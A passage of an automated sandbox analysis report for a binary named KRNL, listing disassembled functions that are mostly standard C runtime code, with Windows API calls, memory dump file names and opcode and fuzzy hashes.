(=o, xrefs: 006F42D6, 006F4278, 006F421A, 006F419B

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID: (=o$0
API String ID: 0-2708008627
Opcode ID: 88ff1c33c503a8c5dd074b974d693b508f793996f2f413cdc870c25849e887c7
Instruction ID: 7c0b3f41c4c464fad481de6b00e5fdada1fe5402dd9caea558e6328730171134
Opcode Fuzzy Hash: 88ff1c33c503a8c5dd074b974d693b508f793996f2f413cdc870c25849e887c7
Instruction Fuzzy Hash: B4B1AC3090460E8BCB24CF68C9956FFBBB3AF51300F14462EE75297F91CE259A82CB55

Function 00705C5E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00705BB9,?,?,00000008,?,?,0070BCAB,00000000), ref: 00705E8B

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 3f289a89494739002088bdf4a80236a9ead76c26734e2aa20bf033ba15c92c29
Instruction ID: 514205d7774ed455eeaefff9975c98d89a4f6315eb9cf159c2fcd3447a7372fe
Opcode Fuzzy Hash: 3f289a89494739002088bdf4a80236a9ead76c26734e2aa20bf033ba15c92c29
Instruction Fuzzy Hash: 23B1F631610A09DFD715CF28C48AB667BE0FB45364F298699E899CF2E1C739E991CF40

Function 006EF555 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 006EF56B

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: aaa78e6cd9131303e071612830c2bbf259f36041b6d1f2c7bc0b72098ebfb686
Instruction ID: b06501d22b90288a85db3da86b8e68b0a54b0206a199286c7ce9f711afe0f0a9
Opcode Fuzzy Hash: aaa78e6cd9131303e071612830c2bbf259f36041b6d1f2c7bc0b72098ebfb686
Instruction Fuzzy Hash: 14A16AB2A117058FDB18CF59E8816DABBF6FB48724F24C52AD415E73A0D3789980CF94

Function 00701840 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 006FC16A: GetLastError.KERNEL32(?,?,006F5495,00718E38,0000000C), ref: 006FC16E
Part of subcall function 006FC16A: SetLastError.KERNEL32(00000000), ref: 006FC210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00701894

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 652491573d6cd6dc3476d88a0a4d6b634984e3df80e928b262b1bdcb7d8f96dd
Instruction ID: 98b2f86cad7683df472d45ed7b4a7b1d1860b670a1adb4eeb2a8cbcb4969f229
Opcode Fuzzy Hash: 652491573d6cd6dc3476d88a0a4d6b634984e3df80e928b262b1bdcb7d8f96dd
Instruction Fuzzy Hash: E421B37261020AEBDB189A25CD41ABA77E8EF15721B50817EFD06C71C1EB38EE40D754

Function 007014D8 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006FC16A: GetLastError.KERNEL32(?,?,006F5495,00718E38,0000000C), ref: 006FC16E
Part of subcall function 006FC16A: SetLastError.KERNEL32(00000000), ref: 006FC210

EnumSystemLocalesW.KERNEL32(00701580,00000001,00000000,?,-00000050,?,00701363,00000000,-00000002,00000000,?,00000055,?), ref: 0070154A

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e22ffcceac063940905d2516b2c209d756eb65db871cdc34d3589d623c7325d7
Instruction ID: 55330b00ffcf60baaa70b3d3506fc531adb40515d8d3c0a1474305c5173a8401
Opcode Fuzzy Hash: e22ffcceac063940905d2516b2c209d756eb65db871cdc34d3589d623c7325d7
Instruction Fuzzy Hash: 9311E9362007059FDB189F39CC915BAB7D1FF80768B55452CE5474BB80E775B952C740

Function 00701960 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 006FC16A: GetLastError.KERNEL32(?,?,006F5495,00718E38,0000000C), ref: 006FC16E
Part of subcall function 006FC16A: SetLastError.KERNEL32(00000000), ref: 006FC210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 007019B4

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 61d972d1b6af41cffd426502b6cb6cb6e8e5b123b18e1be5a19fbb9c47228525
Instruction ID: 42b8a6875acbe4bf74320cd65e61e2fb5dae57ea90ee4a08ac6bffa7f799d2f4
Opcode Fuzzy Hash: 61d972d1b6af41cffd426502b6cb6cb6e8e5b123b18e1be5a19fbb9c47228525
Instruction Fuzzy Hash: E111E07261120AEBDB14AF68CC169BA77ECEF05724B10827AE602C7181EB38ED009754

Function 00701B0D Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 006FC16A: GetLastError.KERNEL32(?,?,006F5495,00718E38,0000000C), ref: 006FC16E
Part of subcall function 006FC16A: SetLastError.KERNEL32(00000000), ref: 006FC210

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0070179C,00000000,00000000,?), ref: 00701B39

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 939136415dab791b4a61d881e4f659dedf7c531ddaa8ac026e7e91716a26a892
Instruction ID: a262828e76f6938d1ff6bd9e714e0a23ef5758a960e83c2b0a5d313dfd0da140
Opcode Fuzzy Hash: 939136415dab791b4a61d881e4f659dedf7c531ddaa8ac026e7e91716a26a892
Instruction Fuzzy Hash: 8501F972710116EBDB289B688C09BFA77A8EF40754F558668ED06A31C0FB78FE41C790

Function 007017D3 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006FC16A: GetLastError.KERNEL32(?,?,006F5495,00718E38,0000000C), ref: 006FC16E
Part of subcall function 006FC16A: SetLastError.KERNEL32(00000000), ref: 006FC210

EnumSystemLocalesW.KERNEL32(00701840,00000001,?,?,-00000050,?,0070132B,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 0070181D

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e63a29af1d80346a1103b93d32b80f6cc35ffe8b4b36adfd2b07da47f1e404f1
Instruction ID: 756d3999243bb1ba125dd05e9da46b5b618c151ba22fd67a1c53ec95ca73a2c9
Opcode Fuzzy Hash: e63a29af1d80346a1103b93d32b80f6cc35ffe8b4b36adfd2b07da47f1e404f1
Instruction Fuzzy Hash: 87F022722003049FCB245F79D881A7A7BD1EB80778B05C62CFA014B6C0D6B5AD02C650

Function 006FD1BD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006F80E1: EnterCriticalSection.KERNEL32(?,?,006FC5F8,?,00719290,00000008,006FC4EA,?,?,?), ref: 006F80F0

EnumSystemLocalesW.KERNEL32(006FD1B0,00000001,00719310,0000000C,006FCB11,-00000050), ref: 006FD1F5

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 07c8cab62339de1180c1d392d72e99001bee6c7951470e7fade13b5f59c3f6b9
Instruction ID: da96962606dd1b94b48830cd522ebc4d369403ee759554733e1f505c5b9ebacf
Opcode Fuzzy Hash: 07c8cab62339de1180c1d392d72e99001bee6c7951470e7fade13b5f59c3f6b9
Instruction Fuzzy Hash: A8F03C72A00308DFDB10DF9CE842BA977E1EB44721F00C02AF5109B2E0CB795A40CF58

Function 00701915 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006FC16A: GetLastError.KERNEL32(?,?,006F5495,00718E38,0000000C), ref: 006FC16E
Part of subcall function 006FC16A: SetLastError.KERNEL32(00000000), ref: 006FC210

EnumSystemLocalesW.KERNEL32(00701960,00000001,?,?,?,00701385,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 0070194C

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 785a144e102671f3d913a69fc479e7caa53a33b6169d84f793196eec1efce526
Instruction ID: cc4e46ceb32d828bf8313aeeaa280b46722f7e3287929dd0682e6df1eadf0b0c
Opcode Fuzzy Hash: 785a144e102671f3d913a69fc479e7caa53a33b6169d84f793196eec1efce526
Instruction Fuzzy Hash: ECF0EC3530034997CB049F39DC656777FE4EFC1B60F474058EA058B291C675A842C7A4

Function 006FCC15 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,006F6E33,?,20001004,00000000,00000002,?,?,006F5D3D), ref: 006FCC49

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: da587e23328b0621dbe0795a717dd359158bc33bfa6e22d7aab5e2adff82e72f
Instruction ID: 42c1771e03bb1cec51f0446f8f50e6990849ba5666d2bbaeebd43f3f7037653b
Opcode Fuzzy Hash: da587e23328b0621dbe0795a717dd359158bc33bfa6e22d7aab5e2adff82e72f
Instruction Fuzzy Hash: 58E04F3150122CBBCF122F64EE05EEE7E17EF44760F048025FE0966261CB359921ABE8

Function 006EF8DD Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000FA00), ref: 006EF8E2

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 112ccca70048720e565e0f1552a8269bc65b6fcb558237d09f7f1520aa802cf6
Instruction ID: 7fbe9d442c845ac6af27e687fd1051e248fffa33c0c8192c91b78da7d1a10c4c
Opcode Fuzzy Hash: 112ccca70048720e565e0f1552a8269bc65b6fcb558237d09f7f1520aa802cf6
Instruction Fuzzy Hash:

Function 006FD8E0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 006FD8E0

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 9af7853dae52c762f9401ec03bdd79c4774c18be2c4ed256b6f60fc09e0e8935
Instruction ID: c375ff140b6971ebc35ebbe09961bd17162882de1faf97dc0cb48127829967a4
Opcode Fuzzy Hash: 9af7853dae52c762f9401ec03bdd79c4774c18be2c4ed256b6f60fc09e0e8935
Instruction Fuzzy Hash: D2A002706011418B57504F7959152493599A5455D1705C0655C45C61A4DA3854549F5D

Function 0070AAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,0070AACD,?,?,?,?,?,?,?,?,?), ref: 0070AB88
__alloca_probe_16.LIBCMT ref: 0070AC43
__alloca_probe_16.LIBCMT ref: 0070ACD2
__freea.LIBCMT ref: 0070AD1D
__freea.LIBCMT ref: 0070AD23
__freea.LIBCMT ref: 0070AD59
__freea.LIBCMT ref: 0070AD5F
__freea.LIBCMT ref: 0070AD6F

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 8bf1dda838ae1146d79ffac75217d6f5a5e62cba7bf82d87a09097d8272ec5db
Instruction ID: 341c42c84f5c250b81d4d878749770d96cfdb581091847031405732ae010ab71
Opcode Fuzzy Hash: 8bf1dda838ae1146d79ffac75217d6f5a5e62cba7bf82d87a09097d8272ec5db
Instruction Fuzzy Hash: 0D71E272A00749FBDF219F64CC41FAF77EADF45310F294259E904A72D1EA799C008766

Function 006EFE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 006EFE70
__alloca_probe_16.LIBCMT ref: 006EFE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 006EFEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006EFEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 006EFF37
__alloca_probe_16.LIBCMT ref: 006EFF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 006EFF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 006EFFB9

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 29a86a7966c2a1e3ced010acf8c1c4d083ec40a51c66d02b4590534af834ba5d
Instruction ID: 8a514d65a2c29b63ce07548d9fda97788de5ad821e55bb1fb3a438822cf466fa
Opcode Fuzzy Hash: 29a86a7966c2a1e3ced010acf8c1c4d083ec40a51c66d02b4590534af834ba5d
Instruction Fuzzy Hash: 6051BE72A0138AAFEF204F66CC45FEB7BAAEF41750F248439F914DA290DB319C108B54

Function 006FEE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006FEEFC

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: 53a2b6661e2d74c74cfcfbc20e3de9288081ca08ff30eea60494de05eccb8fe2
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: 2FB15672A01259EFDB21CF24CC91BFE7FA6EF55310F144165EA44AB382DA759901C7A0

Function 006F0D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 006F0D77
___except_validate_context_record.LIBVCRUNTIME ref: 006F0D7F
_ValidateLocalCookies.LIBCMT ref: 006F0E08
__IsNonwritableInCurrentImage.LIBCMT ref: 006F0E33
_ValidateLocalCookies.LIBCMT ref: 006F0E88

Strings

csm, xrefs: 006F0E1D

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
